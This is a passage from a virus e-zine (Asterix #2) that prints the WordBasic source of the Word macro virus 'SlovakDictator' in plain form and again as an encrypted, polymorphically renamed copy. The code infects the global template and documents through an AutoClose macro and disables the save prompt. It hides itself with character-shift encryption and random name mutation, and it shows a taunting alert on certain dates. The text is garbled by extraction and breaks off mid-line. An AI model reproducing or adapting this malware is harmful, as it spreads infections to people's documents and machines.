InsertParaNext MyVarI1

End Sub

Function GenName$MyVarA4$ = ""For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =

MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_ 65) : Next MyVarI1GenName$ = MyVarA4$

End Function

Sub MutateAllNamesFor MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1

EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Rep lace = GenName$, .Direction =FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWo rd = FixedConstant_0, .PatternMatch =FixedConstant_0, .SoundsLike = FixedConstant_0, .Replac eAll, .Format = FixedConstant_0, .Wrap

= FixedConstant_1, .FindAllWordForms = FixedConstant_0Next MyVarI1

End Sub

Sub InitializePolymorphTables=================================================== ===========================Macro name: SlovakDictatorRESOURCEfinal [SLOVAKDICTATO RRESOURCEFINAL]"U"--------------------------------------------------- ---------------------------Dim Shared FixedConstant_0Dim Shared FixedConstant_1Dim Shared FixedConstant_2Dim Shared FixedConstant_7Dim Shared FixedConstant_10Dim Shared FixedConstant_20Dim Shared FixedConstant_22Dim Shared FixedConstant_65Dim Shared UvodzovkyDim Shared ZavinacDim Shared CryptConstantDim Shared SourceLinesTable$( 200 )Dim Shared HiddenIntroLenDim Shared HiddenStartDim Shared HiddenLinesDim Shared PolymorphNamesTable$( 31)Dim Shared PolyNames

Sub MAINOn Error Goto ErrorHandlerDisableInput 1FixedConstant_0 = 0

Page 281: EZine - Asterix #2

SLOW_A.MAC

FixedConstant_1 = 1FixedConstant_2 = 2FixedConstant_7 = 7FixedConstant_10 = 10FixedConstant_20 = 20FixedConstant_22 = 22FixedConstant_65 = 65Uvodzovky = 34Zavinac = 64HiddenIntroLen = 38HiddenStart = 120HiddenLines = 179PolyNames = 31WordVersion$ = AppInfo$(FixedConstant_2)WordVer = Val(Left$(WordVersion$, FixedConstant_1))If WordVer <> FixedConstant_7 Then Goto ErrorHandlerCall InitializePolymorphTables'//// begin of hidden part ////ShowBoxCurFile$ = FileName$()If CurFile$ = "" Then Goto ErrorHandler

If CheckInstalled( 0) = 0 ThenInfect( 1)ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0Goto ErrorHandler

End If

Dim dlg As FileSaveAsGetCurValues dlgIf dlg.Format = 0 Then

dlg.Format = 1FileSaveAs dlg

End If

If CheckInstalled( 1) = 0 ThenInfect( 3)FileSave

End If

ErrorHandler:End Sub

Sub ShowBoxParlamentnyPuc = Day(Now())If ParlamentnyPuc = 4 Or ParlamentnyPuc = 11 ThenBeepBegin Dialog UserDialog 380 , 224 , "Virus ALERT!"

Text 29, 8, 349 , 13, "You're infected by WordMacro.SlovakDictator virus" , .Text1Text 15, 28, 360 , 13, "Welcome to the LME (Lamer's Macro Engine) ver. 1.0 0" , .Text2Text 145 , 51, 123 , 13, "Dis is Level 421" , .Text3Text 35, 73, 342 , 13, "(c) 1-mar-97, Nasty Lamer && Ugly Luser, Slovakia" , .Text4Text 34, 98, 343 , 13, "Dis is the first world true polymorphic macro viru s !" , .Text5PushButton 120 , 188 , 147 , 21, "Accept / Suhlas" , .Push1Text 100 , 165 , 228 , 13, "Big fuck to the big boxer V.M." , .Text6

End DialogDim dlg As UserDialogDialog(dlg)End IfEnd Sub

Function CheckInstalled(j)

Page 282: EZine - Asterix #2

SLOW_A.MAC

On Error Resume NextCheckInstalled = 0For i = 1 To CountMacros(j)

If MacroName$(i, j) = "AutoClose" Then CheckInstalled = 1Next iEnd Function

Sub Infect(WhatToInfect)SaveWindowName$ = WindowName$()ToolsMacro .Name = "AutoClose" , .Show = WhatToInfect, .EditEditClear - 20

'////'//// Vlozenie prvych HiddenIntroLen riadkov kodu m akra'//// viditelna cast - nemenit !'////For i = 0 To HiddenIntroLen : Insert SourceLinesTable$(i) : InsertPar a : Next i'////'//// premenna i ide od riadkov "Sub OriginalMacroB ody"+1'//// az po "Sub InitializePolymorphTables"-1'//// velmi pozorne urcit tieto konstanty !!!'////

For i = HiddenStart To HiddenLines : Insert SourceLinesTable$(i) : InsertPara : Next iEditReplace .Find = Chr$( 64) + Chr$( 64), .Replace = Chr$( 34), .Direction = 0, .MatchCase

= 1, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1,.FindAllWordForms = 0

CryptConstant = - Int(( 4 + Rnd() * 10))Call DecryptLinesInsert "CryptConstant = " + Str$(- CryptConstant)InsertParaFlushAllTablesDocClose 1Activate SaveWindowName$

End Sub

Sub OriginalMacroBody'//// end of Hidden part ////ScreenUpdating FixedConstant_0DisableAutoMacros FixedConstant_1DecryptLines

SaveWindowName$ = WindowName$()ToolsMacro .Name = "TempMacro" , .Show = FixedConstant_1, .EditEditClear - FixedConstant_20For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : Insert Para

: Next MyVarI1

EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Repla ce = Chr$(Uvodzovky), .Direction =FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWo rd = FixedConstant_0, .PatternMatch =FixedConstant_0, .SoundsLike = FixedConstant_0, .Replac eAll, .Format = FixedConstant_0, .Wrap

= FixedConstant_1, .FindAllWordForms = FixedConstant_0

FlushAllTablesMutateAllNamesDocClose FixedConstant_1Activate SaveWindowName$

Call TempMacroToolsMacro .Name = "TempMacro" , .Show = FixedConstant_1, .Delete

ErrorHandler:

Page 283: EZine - Asterix #2

SLOW_A.MAC

DisableAutoMacros FixedConstant_0ScreenUpdating FixedConstant_1DisableInput FixedConstant_0End Sub

Sub DecryptLinesFor MyVarI1 = FixedConstant_0 To HiddenLines

MyVarA4$ = ""MyVarJ2 = Len(SourceLinesTable$(MyVarI1))For MyVarK3 = FixedConstant_1 To MyVarJ2

MyVarA4$ = MyVarA4$ + Chr$(Asc( Mid$ (SourceLinesTable$(MyVarI1), MyVarK3,FixedConstant_1)) - CryptConstant)

Next MyVarK3SourceLinesTable$(MyVarI1) = MyVarA4$

Next MyVarI1End Sub

Sub FlushAllTablesFor MyVarI1 = FixedConstant_0 To HiddenLines

Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)

InsertParaNext MyVarI1For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1

Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)

InsertParaNext MyVarI1

End Sub

Function GenName$MyVarA4$ = ""For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =

MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_ 65) : Next MyVarI1GenName$ = MyVarA4$

End Function

Sub MutateAllNamesFor MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1

EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Rep lace = GenName$, .Direction =FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWo rd = FixedConstant_0, .PatternMatch =FixedConstant_0, .SoundsLike = FixedConstant_0, .Replac eAll, .Format = FixedConstant_0, .Wrap

= FixedConstant_1, .FindAllWordForms = FixedConstant_0Next MyVarI1

End Sub

Sub InitializePolymorphTables=================================================== ===========================Macro name: AutoCloseEncrypted [AUTOCLOSEENCRYPTED] "U"Encryption key: 8E--------------------------------------------------- ---------------------------Dim Shared CTOJSIQREBIMKSCJOQDim Shared KRVTLQFIOQDim Shared VFFLVOMBJODim Shared SLDMTVLJUILNVDim Shared QCSQPHEEPFTIUNGCDim Shared QRPSLDKCBJNDim Shared ECFBULHOSNPVHFQHUDim Shared RCEGHFVLBVNUHPJDim Shared FUFNJKGLSUIQKJLMDim Shared HTHPBJIVDPODim Shared VJPJHQNAQRNO

Page 284: EZine - Asterix #2

SLOW_A.MAC

Dim Shared FHUMCEAANPGT$(200 )Dim Shared ITVNPFSFJOLERDPDVGCDim Shared JGGUCPCJHPDim Shared ATBCMFMITOIRUDim Shared OQJKJCKTVTMLQS$(31)Dim Shared DBTKGBAKSUBPOIBKTAH

Sub MAINOn Error Goto UTCUSCLAOECQNLTBADisableInput 1CTOJSIQREBIMKSCJOQ =0KRVTLQFIOQ = 1VFFLVOMBJO =2SLDMTVLJUILNV = 7QCSQPHEEPFTIUNGC =10QRPSLDKCBJN =20ECFBULHOSNPVHFQHU =22RCEGHFVLBVNUHPJ =65FUFNJKGLSUIQKJLM =34HTHPBJIVDPO = 64ITVNPFSFJOLERDPDVGC =38JGGUCPCJHP =120ATBCMFMITOIRU =179DBTKGBAKSUBPOIBKTAH =31ADKAPBAVCRPTNA$ = AppInfo$(VFFLVOMBJO)AVLRCKOUFVTMKMJPJR = Val(Left$(ADKAPBAVCRPTNA$, KRVTLQFIOQ))If AVLRCKOUFVTMKMJPJR <> SLDMTVLJUILNVThen Goto UTCUSCLAOECQNLTBACall FLPMKRKPCAPOCBQVUMNScreenUpdating CTOJSIQREBIMKSCJOQDisableAutoMacros KRVTLQFIOQVOPESNDPVHCINP

JOVEPAKCFV$ = WindowName$()ToolsMacro .Name = "MBDRPMTMVEKV", .Show = KRVTLQFIOQ, .EditEditClear - QRPSLDKCBJNFor BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQTo ATBCMFMITOIRU : Insert FHUMCEAANPGT$(BJHKBJMKQVULFPN) : InsertPara : Next BJHKBJMKQVULFPN

EditReplace .Find = Chr$(HTHPBJIVDPO) + Chr$(HTHPBJIVDPO ), .Replace = Chr$(FUFNJKGLSUIQKJLM),.Direction = CTOJSIQREBIMKSCJOQ, .MatchCase = KRVTLQFIOQ , .WholeWord = CTOJSIQREBIMKSCJOQ, .

PatternMatch = CTOJSIQREBIMKSCJOQ, .SoundsLike = CTOJSIQ REBIMKSCJOQ, .ReplaceAll, .Format =CTOJSIQREBIMKSCJOQ, .Wrap = KRVTLQFIOQ, .FindAllWordFor ms = CTOJSIQREBIMKSCJOQ

HOKFFSFLVKJAULTNGQPUUTERVSDVDocClose KRVTLQFIOQActivate JOVEPAKCFV$

Call MBDRPMTMVEKVToolsMacro .Name = "MBDRPMTMVEKV", .Show = KRVTLQFIOQ, .Delete

UTCUSCLAOECQNLTBA:DisableAutoMacros CTOJSIQREBIMKSCJOQScreenUpdating KRVTLQFIOQDisableInput CTOJSIQREBIMKSCJOQEnd Sub

Sub VOPESNDPVHCINPFor BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQTo ATBCMFMITOIRUCOICSINJIUIOI$ = ""VGBPGUTQAQ = Len(FHUMCEAANPGT$(BJHKBJMKQVULFPN))For MUANKIPLHAIGVBJSDI = KRVTLQFIOQTo VGBPGUTQAQ

Page 285: EZine - Asterix #2

SLOW_A.MAC

COICSINJIUIOI$ = COICSINJIUIOI$ + Chr$(Asc( Mid$ (FHUMCEAANPGT$(BJHKBJMKQVULFPN),MUANKIPLHAIGVBJSDI, KRVTLQFIOQ)) - VJPJHQNAQRNO)Next MUANKIPLHAIGVBJSDIFHUMCEAANPGT$(BJHKBJMKQVULFPN) = COICSINJIUIOI$Next BJHKBJMKQVULFPNEnd Sub

Sub HOKFFSFLVKJAFor BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQTo ATBCMFMITOIRUInsert "FHUMCEAANPGT$(" + Str$(BJHKBJMKQVULFPN) + ")=" + Chr$(FUFNJKGLSUIQKJLM) +FHUMCEAANPGT$(BJHKBJMKQVULFPN) + Chr$(FUFNJKGLSUIQKJLM)InsertParaNext BJHKBJMKQVULFPNFor BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQTo DBTKGBAKSUBPOIBKTAH - KRVTLQFIOQInsert "OQJKJCKTVTMLQS$(" + Str$(BJHKBJMKQVULFPN) + ")=" + Chr$(FUFNJKGLSUIQKJLM) +OQJKJCKTVTMLQS$(BJHKBJMKQVULFPN) + Chr$(FUFNJKGLSUIQKJLM)InsertParaNext BJHKBJMKQVULFPNEnd Sub

Function CEDKKKAROAKFSRAH$COICSINJIUIOI$ = ""For BJHKBJMKQVULFPN = KRVTLQFIOQTo QCSQPHEEPFTIUNGC + Rnd() * QCSQPHEEPFTIUNGC :COICSINJIUIOI$ = COICSINJIUIOI$ + Chr$(Rnd() * ECFBULHOSN PVHFQHU + RCEGHFVLBVNUHPJ) :NextBJHKBJMKQVULFPNCEDKKKAROAKFSRAH$ = COICSINJIUIOI$End Function

Sub ULTNGQPUUTERVSDVFor BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQTo DBTKGBAKSUBPOIBKTAH - KRVTLQFIOQEditReplace .Find = OQJKJCKTVTMLQS$(BJHKBJMKQVULFPN), . Replace = CEDKKKAROAKFSRAH$, .Direction = CTOJSIQREBIMKSCJOQ, .MatchCase = KRVTLQFIOQ, .WholeWord = CTOJSIQREBIMKSCJOQ, .PatternMatch = CTOJSIQREBIMKSCJOQ, .SoundsLike = CTOJSIQ REBIMKSCJOQ, .ReplaceAll, .Format =CTOJSIQREBIMKSCJOQ, .Wrap = KRVTLQFIOQ, .FindAllWordFor ms = CTOJSIQREBIMKSCJOQNext BJHKBJMKQVULFPNEnd Sub

Sub FLPMKRKPCAPOCBQVUMNVJPJHQNAQRNO = 6FHUMCEAANPGT$(0) = "Jos&Yngxkj&IZUPYOWXKHOSQYIPUW"FHUMCEAANPGT$(1) = "Jos&Yngxkj&QX\ZRWLOUW"FHUMCEAANPGT$(2) = "Jos&Yngxkj&\LLR\USHPU"FHUMCEAANPGT$(3) = "Jos&Yngxkj&YRJSZ\RP[ORT\"FHUMCEAANPGT$(4) = "Jos&Yngxkj&WIYWVNKKVLZO[TMI"FHUMCEAANPGT$(5) = "Jos&Yngxkj&WXVYRJQIHPT"FHUMCEAANPGT$(6) = "Jos&Yngxkj&KILH[RNUYTV\NLWN["FHUMCEAANPGT$(7) = "Jos&Yngxkj&XIKMNL\RH\T[NVP"FHUMCEAANPGT$(8) = "Jos&Yngxkj&L[LTPQMRY[OWQPRS"FHUMCEAANPGT$(9) = "Jos&Yngxkj&NZNVHPO\JVU"FHUMCEAANPGT$(10) = "Jos&Yngxkj&\PVPNWTGWXTU"FHUMCEAANPGT$(11) = "Jos&Yngxkj&LN[SIKGGTVMZ*.866/"FHUMCEAANPGT$(12) = "Jos&Yngxkj&OZ\TVLYLPURKXJVJ\MI"FHUMCEAANPGT$(13) = "Jos&Yngxkj&PMM[IVIPNV"FHUMCEAANPGT$(14) = "Jos&Yngxkj&GZHISLSOZUOX["FHUMCEAANPGT$(15) = "Jos&Yngxkj&UWPQPIQZ\ZSRWY*.97/"FHUMCEAANPGT$(16) = "Jos&Yngxkj&JHZQMHGQY[HVUOHQZGN"FHUMCEAANPGT$(17) = ""FHUMCEAANPGT$(18) = "Y{h&SGOT"FHUMCEAANPGT$(19) = "Ut&Kxxux&Muzu&[ZI[YIRGUKIWTRZHG"FHUMCEAANPGT$(20) = "JoyghrkOtv{z&7"FHUMCEAANPGT$(21) = "IZUPYOWXKHOSQYIPUW&C&6"FHUMCEAANPGT$(22) = "QX\ZRWLOUW&C&7"

Page 286: EZine - Asterix #2

SLOW_A.MAC

FHUMCEAANPGT$(23) = "\LLR\USHPU&C&8"FHUMCEAANPGT$(24) = "YRJSZ\RP[ORT\&C&="FHUMCEAANPGT$(25) = "WIYWVNKKVLZO[TMI&C&76"FHUMCEAANPGT$(26) = "WXVYRJQIHPT&C&86"FHUMCEAANPGT$(27) = "KILH[RNUYTV\NLWN[&C&88"FHUMCEAANPGT$(28) = "XIKMNL\RH\T[NVP&C&<;"FHUMCEAANPGT$(29) = "L[LTPQMRY[OWQPRS&C&9:"FHUMCEAANPGT$(30) = "NZNVHPO\JVU&C&<:"FHUMCEAANPGT$(31) = "OZ\TVLYLPURKXJVJ\MI&C&9>"FHUMCEAANPGT$(32) = "PMM[IVIPNV&C&786"FHUMCEAANPGT$(33) = "GZHISLSOZUOX[&C&7=?"FHUMCEAANPGT$(34) = "JHZQMHGQY[HVUOHQZGN&C&97"FHUMCEAANPGT$(35) = "GJQGVHG\IXVZTG*&C&GvvOtlu*.\LLR\USHPU/"FHUMCEAANPGT$(36) = "G\RXIQU[L\ZSQSPVPX&C&\gr.Rklz*.GJQGVHG\IXVZTG*2&QX \ZRWLOUW//"FHUMCEAANPGT$(37) = "Ol&G\RXIQU[L\ZSQSPVPX&BD&YRJSZ\RP[ORT\&Znkt&Muzu&[ ZI[YIRGUKIWTRZHG"FHUMCEAANPGT$(38) = "Igrr&LRVSQXQVIGVUIHW\[ST"FHUMCEAANPGT$(39) = "-5555&hkmot&ul&nojjkt&vgxz&5555"FHUMCEAANPGT$(40) = "Ynu}Hu~"FHUMCEAANPGT$(41) = "I{xLork*&C&LorkTgsk*./"FHUMCEAANPGT$(42) = "Ol&I{xLork*&C&FFFF&Znkt&Muzu&[ZI[YIRGUKIWTRZHG"FHUMCEAANPGT$(43) = ""FHUMCEAANPGT$(44) = "Ol&InkiqOtyzgrrkj.6/&C&6&Znkt"FHUMCEAANPGT$(45) = "Otlkiz.7/"FHUMCEAANPGT$(46) = "ZuuryUvzoutyYg|k&4MruhgrJuzVxusvz&C&62&4LgyzYg|ky& C&6"FHUMCEAANPGT$(47) = "Muzu&[ZI[YIRGUKIWTRZHG"FHUMCEAANPGT$(48) = "Ktj&Ol"FHUMCEAANPGT$(49) = ""FHUMCEAANPGT$(50) = "Jos&jrm&Gy&LorkYg|kGy"FHUMCEAANPGT$(51) = "MkzI{x\gr{ky&jrm"FHUMCEAANPGT$(52) = "Ol&jrm4Luxsgz&C&6&Znkt"FHUMCEAANPGT$(53) = "jrm4Luxsgz&C&7"FHUMCEAANPGT$(54) = "LorkYg|kGy&jrm"FHUMCEAANPGT$(55) = "Ktj&Ol"FHUMCEAANPGT$(56) = ""FHUMCEAANPGT$(57) = "Ol&InkiqOtyzgrrkj.7/&C&6&Znkt"FHUMCEAANPGT$(58) = "Otlkiz.9/"FHUMCEAANPGT$(59) = "LorkYg|k"FHUMCEAANPGT$(60) = "Ktj&Ol"FHUMCEAANPGT$(61) = ""FHUMCEAANPGT$(62) = "[ZI[YIRGUKIWTRZHG@"FHUMCEAANPGT$(63) = "Ktj&Y{h"FHUMCEAANPGT$(64) = ""FHUMCEAANPGT$(65) = "Y{h&Ynu}Hu~"FHUMCEAANPGT$(66) = � �"Vgxrgsktzt V{i&C&Jg .Tu}.//"FHUMCEAANPGT$(67) = � �"Ol&Vgxrgsktzt V{i&C&:&Ux&Vgxrgsktzt V{i&C&77&Znkt"FHUMCEAANPGT$(68) = "Hkkv"FHUMCEAANPGT$(69) = "Hkmot&Jogrum&[ykxJogrum&9>62&88:2&FF\ox{y&GRKXZ'FF "FHUMCEAANPGT$(70) =

�"Zk~z&8?2&>2&9:?2&792&FF_u{-xk&otlkizkj&h &]uxjSgixu 4Yru|gqJoizgzux&|ox{yFF2&4Zk~z7"FHUMCEAANPGT$(71) ="Zk~z&7;2&8>2&9<62&792&FF]kriusk&zu&znk&RSK&.Rgskx- y&Sgixu&Ktmotk/&|kx4&7466FF2&4Zk~z8"FHUMCEAANPGT$(72) = "Zk~z&7:;2&;72&7892&792&FFJoy&oy&Rk|kr&:87FF2&4Zk~z 9"FHUMCEAANPGT$(73) =

� �"Zk~z&9;2&=92&9:82&792&FF.i/&73sgx3?=2&Tgyz &Rgskx&, ,&[mr &R{ykx2&Yru|gqogFF2&4Zk~z:"FHUMCEAANPGT$(74) =

�"Zk~z&9:2&?>2&9:92&792&FFJoy&oy&znk&loxyz&}uxrj&zx{ k&vur suxvnoi&sgixu&|ox{y&'FF2&4Zk~z;"FHUMCEAANPGT$(75) = "V{ynH{zzut&7862&7>>2&7:=2&872&FFGiikvz&5&Y{nrgyFF2 &4V{yn7"FHUMCEAANPGT$(76) = "Zk~z&7662&7<;2&88>2&792&FFHom&l{iq&zu&znk&hom&hu~k x&\4S4FF2&4Zk~z<"FHUMCEAANPGT$(77) = "Ktj&Jogrum"FHUMCEAANPGT$(78) = "Jos&jrm&Gy&[ykxJogrum"FHUMCEAANPGT$(79) = "Jogrum.jrm/"FHUMCEAANPGT$(80) = "Ktj&Ol"

Page 287: EZine - Asterix #2

SLOW_A.MAC

FHUMCEAANPGT$(81) = "Ktj&Y{h"FHUMCEAANPGT$(82) = ""FHUMCEAANPGT$(83) = "L{tizout&InkiqOtyzgrrkj.p/"FHUMCEAANPGT$(84) = "Ut&Kxxux&Xky{sk&Tk~z"FHUMCEAANPGT$(85) = "InkiqOtyzgrrkj&C&6"FHUMCEAANPGT$(86) = "Lux&o&C&7&Zu&Iu{tzSgixuy.p/"FHUMCEAANPGT$(87) = "Ol&SgixuTgsk*.o2&p/&C&FFG{zuIruykFF&Znkt&InkiqOtyz grrkj&C&7"FHUMCEAANPGT$(88) = "Tk~z&o"FHUMCEAANPGT$(89) = "Ktj&L{tizout"FHUMCEAANPGT$(90) = ""FHUMCEAANPGT$(91) = "Y{h&Otlkiz.]ngzZuOtlkiz/"FHUMCEAANPGT$(92) = "PU\KVGQIL\*&C&]otju}Tgsk*./"FHUMCEAANPGT$(93) = "ZuurySgixu&4Tgsk&C&FFG{zuIruykFF2&4Ynu}&C&]ngzZuOt lkiz2&4Kjoz"FHUMCEAANPGT$(94) = "KjozIrkgx&3&86"FHUMCEAANPGT$(95) = ""FHUMCEAANPGT$(96) = "-5555"FHUMCEAANPGT$(97) = �"-5555&\ru€ktok&vx| in&OZ\TVLYLPURKXJVJ\MI&xogjqu|&q uj{&sgqxg"FHUMCEAANPGT$(98) = "-5555&|ojozkrtg&igyz&3&tksktoz&'"FHUMCEAANPGT$(99) = "-5555"FHUMCEAANPGT$(100 ) ="Lux&o&C&6&Zu&OZ\TVLYLPURKXJVJ\MI&@&Otykxz&LN[SIKGG TVMZ*.o/&@&OtykxzVgxg&@&Tk~z&o"FHUMCEAANPGT$(101 ) = "-5555"FHUMCEAANPGT$(102 ) = �"-5555&vxkskttg&o&ojk&uj&xogjqu|&FFY{h&UxomotgrSgix uHuj FF17"FHUMCEAANPGT$(103 ) = "-5555&g€&vu&FFY{h&LRVSQXQVIGVUIHW\[STFF37"FHUMCEAANPGT$(104 ) = �"-5555&|krso&vu€uxtk&{xioz&zokzu&qutyzgtz &'''"FHUMCEAANPGT$(105 ) = "-5555"FHUMCEAANPGT$(106 ) ="Lux&o&C&PMM[IVIPNV&Zu&GZHISLSOZUOX[&@&Otykxz&LN[SI KGGTVMZ*.o/&@&OtykxzVgxg&@&Tk~z&o"FHUMCEAANPGT$(107 ) ="KjozXkvrgik&4Lotj&C&Inx*.<:/&1&Inx*.<:/2&4Xkvrgik& C&Inx*.9:/2&4Joxkizout&C&62&4SgzinIgyk&C&72&4]nurk]uxj&C&62&4VgzzkxtSgzin&C&62&4Yu{tjyRoqk&C&6 2&4XkvrgikGrr2&4Luxsgz&C&62&4]xgv&C&72&4LotjGrr]uxjLuxsy&C&6"FHUMCEAANPGT$(108 ) = ""FHUMCEAANPGT$(109 ) = "\PVPNWTGWXTU&C&3&Otz..:&1&Xtj./&0&76//"FHUMCEAANPGT$(110 ) = "Igrr&\UVKYTJV\NIOTV"FHUMCEAANPGT$(111 ) = "Otykxz&FF\PVPNWTGWXTU&C&FF&1&Yzx*.3&\PVPNWTGWXTU/"FHUMCEAANPGT$(112 ) = "OtykxzVgxg"FHUMCEAANPGT$(113 ) = "NUQLLYLR\QPG"FHUMCEAANPGT$(114 ) = "JuiIruyk&7"FHUMCEAANPGT$(115 ) = "Gizo|gzk&PU\KVGQIL\*"FHUMCEAANPGT$(116 ) = "Ktj&Y{h"FHUMCEAANPGT$(117 ) = ""FHUMCEAANPGT$(118 ) = �"Y{h&UxomotgrSgixuHuj "FHUMCEAANPGT$(119 ) = "-5555&ktj&ul&Nojjkt&vgxz&5555"FHUMCEAANPGT$(120 ) = "Yixkkt[vjgzotm&IZUPYOWXKHOSQYIPUW"FHUMCEAANPGT$(121 ) = "JoyghrkG{zuSgixuy&QX\ZRWLOUW"FHUMCEAANPGT$(122 ) = "\UVKYTJV\NIOTV"FHUMCEAANPGT$(123 ) = ""FHUMCEAANPGT$(124 ) = "PU\KVGQIL\*&C&]otju}Tgsk*./"FHUMCEAANPGT$(125 ) = "ZuurySgixu&4Tgsk&C&FFSHJXVSZS\KQ\FF2&4Ynu}&C&QX\ZR WLOUW2&4Kjoz"FHUMCEAANPGT$(126 ) = "KjozIrkgx&3&WXVYRJQIHPT"FHUMCEAANPGT$(127 ) ="Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX[&@&Otykxz&LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/&@&OtykxzVgxg&@&Tk~z&HPNQHPSQW\[RLVT"FHUMCEAANPGT$(128 ) = ""FHUMCEAANPGT$(129 ) ="KjozXkvrgik&4Lotj&C&Inx*.NZNVHPO\JVU/&1&Inx*.NZNVH PO\JVU/2&4Xkvrgik&C&Inx*.L[LTPQMRY[OWQPRS/2&4Joxkizout&C&IZUPYOWXKHOSQYIPUW2&4SgzinIgyk&C&QX\Z RWLOUW2&4]nurk]uxj&C&IZUPYOWXKHOSQYIPUW2&4VgzzkxtSgzin&C&IZUPYOWXKHOSQYIPUW2&4Yu{tjyRoqk&C&IZU PYOWXKHOSQYIPUW2&"+"4XkvrgikGrr2&4Luxsgz&C&IZUPYOWXKHOSQYIPUW2&4]xgv&C &QX\ZRWLOUW2&4LotjGrr]uxjLuxsy&C&IZUPYOWXKHOSQYIPUW"FHUMCEAANPGT$(130 ) = ""

Page 288: EZine - Asterix #2

SLOW_A.MAC

FHUMCEAANPGT$(131 ) = "NUQLLYLR\QPG"FHUMCEAANPGT$(132 ) = "[RZTMWV[[ZKX\YJ\"FHUMCEAANPGT$(133 ) = "JuiIruyk&QX\ZRWLOUW"FHUMCEAANPGT$(134 ) = "Gizo|gzk&PU\KVGQIL\*"FHUMCEAANPGT$(135 ) = ""FHUMCEAANPGT$(136 ) = "Igrr&SHJXVSZS\KQ\"FHUMCEAANPGT$(137 ) = "ZuurySgixu&4Tgsk&C&FFSHJXVSZS\KQ\FF2&4Ynu}&C&QX\ZR WLOUW2&4Jkrkzk"FHUMCEAANPGT$(138 ) = ""FHUMCEAANPGT$(139 ) = "[ZI[YIRGUKIWTRZHG@"FHUMCEAANPGT$(140 ) = "JoyghrkG{zuSgixuy&IZUPYOWXKHOSQYIPUW"FHUMCEAANPGT$(141 ) = "Yixkkt[vjgzotm&QX\ZRWLOUW"FHUMCEAANPGT$(142 ) = "JoyghrkOtv{z&IZUPYOWXKHOSQYIPUW"FHUMCEAANPGT$(143 ) = "Ktj&Y{h"FHUMCEAANPGT$(144 ) = ""FHUMCEAANPGT$(145 ) = "Y{h&\UVKYTJV\NIOTV"FHUMCEAANPGT$(146 ) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX["FHUMCEAANPGT$(147 ) = "IUOIYOTPO[OUO*&C&FFFF"FHUMCEAANPGT$(148 ) = "\MHVM[ZWGW&C&Rkt.LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT//"FHUMCEAANPGT$(149 ) = "Lux&S[GTQOVRNGOM\HPYJO&C&QX\ZRWLOUW&Zu&\MHVM[ZWGW"FHUMCEAANPGT$(150 ) ="IUOIYOTPO[OUO*&C&IUOIYOTPO[OUO*&1&Inx*.Gyi.Soj*.LN [SIKGGTVMZ*.HPNQHPSQW\[RLVT/2&S[GTQOVRNGOM\HPYJO2&QX\ZRWLOUW//&3&\PVPNWTGWXTU/"FHUMCEAANPGT$(151 ) = "Tk~z&S[GTQOVRNGOM\HPYJO"FHUMCEAANPGT$(152 ) = "LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/&C&IUOIYOTPO[OUO*"FHUMCEAANPGT$(153 ) = "Tk~z&HPNQHPSQW\[RLVT"FHUMCEAANPGT$(154 ) = "Ktj&Y{h"FHUMCEAANPGT$(155 ) = ""FHUMCEAANPGT$(156 ) = "Y{h&NUQLLYLR\QPG"FHUMCEAANPGT$(157 ) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX["FHUMCEAANPGT$(158 ) ="Otykxz&FFLN[SIKGGTVMZ*.FF&1&Yzx*.HPNQHPSQW\[RLVT/& 1&FF/CFF&1&Inx*.L[LTPQMRY[OWQPRS/&1&LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/&1&Inx*.L[LTPQMRY[OWQPRS/"FHUMCEAANPGT$(159 ) = "OtykxzVgxg"FHUMCEAANPGT$(160 ) = "Tk~z&HPNQHPSQW\[RLVT"FHUMCEAANPGT$(161 ) ="Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&JHZQMHGQY[HVUOHQZGN&3&QX\ZRWLOUW"FHUMCEAANPGT$(162 ) ="Otykxz&FFUWPQPIQZ\ZSRWY*.FF&1&Yzx*.HPNQHPSQW\[RLVT/&1&FF/CFF&1&Inx*.L[LTPQMRY[OWQPRS/&1&UWPQPIQZ\ZSRWY*.HPNQHPSQW\[RLVT/&1&Inx*.L[LTPQMRY[OWQPRS/"FHUMCEAANPGT$(163 ) = "OtykxzVgxg"FHUMCEAANPGT$(164 ) = "Tk~z&HPNQHPSQW\[RLVT"FHUMCEAANPGT$(165 ) = "Ktj&Y{h"FHUMCEAANPGT$(166 ) = ""FHUMCEAANPGT$(167 ) = "L{tizout&IKJQQQGXUGQLYXGN*"FHUMCEAANPGT$(168 ) = 